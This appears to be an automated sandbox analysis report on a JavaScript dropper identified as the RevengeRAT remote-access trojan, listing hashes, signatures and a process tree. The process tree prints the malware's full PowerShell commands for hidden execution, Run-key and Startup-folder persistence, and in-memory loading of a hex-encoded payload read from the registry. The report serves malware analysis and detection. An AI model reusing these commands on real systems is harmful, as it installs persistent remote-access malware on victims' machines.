Analysis
-
max time kernel
139s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20240215-en -
resource tags
arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system -
submitted
01/05/2024, 11:22
Static task
static1
Behavioral task
behavioral1
Sample
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Resource
win7-20240215-en
Behavioral task
behavioral2
Sample
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
Resource
win10v2004-20240419-en
General
-
Target
0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js
-
Size
286KB
-
MD5
0baae90140666a166ba4c9afd6aeba63
-
SHA1
9bf0a78c3315231157c930e2b082bcc08595c540
-
SHA256
5be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
-
SHA512
62c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089
-
SSDEEP
3072:X8ZCsmsR3IqCIHLl75z4sI70rcAtxu6m89132TEI6jL2TdKL9YEgIximLiJv55hE:sUUSzcWQViC9
Malware Config
Extracted
revengerat
Signatures
-
RevengeRAT
Remote-access trojan with a wide range of capabilities.
-
RevengeRat Executable 1 IoCs
resource yara_rule behavioral1/memory/1128-29-0x0000000002BF0000-0x0000000002BF8000-memory.dmp revengerat -
Blocklisted process makes network request 6 IoCs
flow pid Process 2 1128 powershell.exe 4 1128 powershell.exe 6 1128 powershell.exe 7 1128 powershell.exe 9 1128 powershell.exe 10 1128 powershell.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\microsoft = "C:\\Users\\Admin\\AppData\\Roaming\\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js" powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2916 powershell.exe 2872 powershell.exe 2552 powershell.exe 1128 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2916 powershell.exe Token: SeDebugPrivilege 2872 powershell.exe Token: SeDebugPrivilege 2552 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
description pid Process procid_target PID 2220 wrote to memory of 2916 2220 wscript.exe 28 PID 2220 wrote to memory of 2916 2220 wscript.exe 28 PID 2220 wrote to memory of 2916 2220 wscript.exe 28 PID 2916 wrote to memory of 2512 2916 powershell.exe 30 PID 2916 wrote to memory of 2512 2916 powershell.exe 30 PID 2916 wrote to memory of 2512 2916 powershell.exe 30 PID 2512 wrote to memory of 2872 2512 wscript.exe 31 PID 2512 wrote to memory of 2872 2512 wscript.exe 31 PID 2512 wrote to memory of 2872 2512 wscript.exe 31 PID 2512 wrote to memory of 2552 2512 wscript.exe 33 PID 2512 wrote to memory of 2552 2512 wscript.exe 33 PID 2512 wrote to memory of 2552 2512 wscript.exe 33 PID 2512 wrote to memory of 1128 2512 wscript.exe 35 PID 2512 wrote to memory of 1128 2512 wscript.exe 35 PID 2512 wrote to memory of 1128 2512 wscript.exe 35
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js1⤵
- Suspicious use of WriteProcessMemory
PID:2220 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('AppData')+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'));wscript 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2916 -
C:\Windows\system32\wscript.exe"C:\Windows\system32\wscript.exe" C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js3⤵
- Suspicious use of WriteProcessMemory
PID:2512 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'microsoft' -value 'C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js' -PropertyType String -Force;"4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2872
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\0baae90140666a166ba4c9afd6aeba63_JaffaCakes118.js'))"4⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'microsoft').microsoft;$_b=$_b.replace('@','0');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
286KB
MD50baae90140666a166ba4c9afd6aeba63
SHA19bf0a78c3315231157c930e2b082bcc08595c540
SHA2565be79745fe75b92b558cbada1db58a6df377e6498268aedde474ec4546994a36
SHA51262c4968871594177f02b357221b3bf7ee2bd684c0f762c7227520ad799699c42d5f2ef26553a0da879f7c497cd15ffd2b95b9e31ddd7d04b9af74e7f6b738089
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5383e1452e7ecf53a9bd344ec432741eb
SHA167060d9999bf438bccfd49073fd654f6b3da01f6
SHA256d9142a3da103cdd15247d387b440bfe7bce118372b6f92160dc160656161f96a
SHA512d1bb994aafa228369bead526704c31e3bb2cd7296598aff133c9a305606c89a58cc9fdec043d110c04cfbdbbcc98d197ae43660a2458ca4b4af0b421b92a04da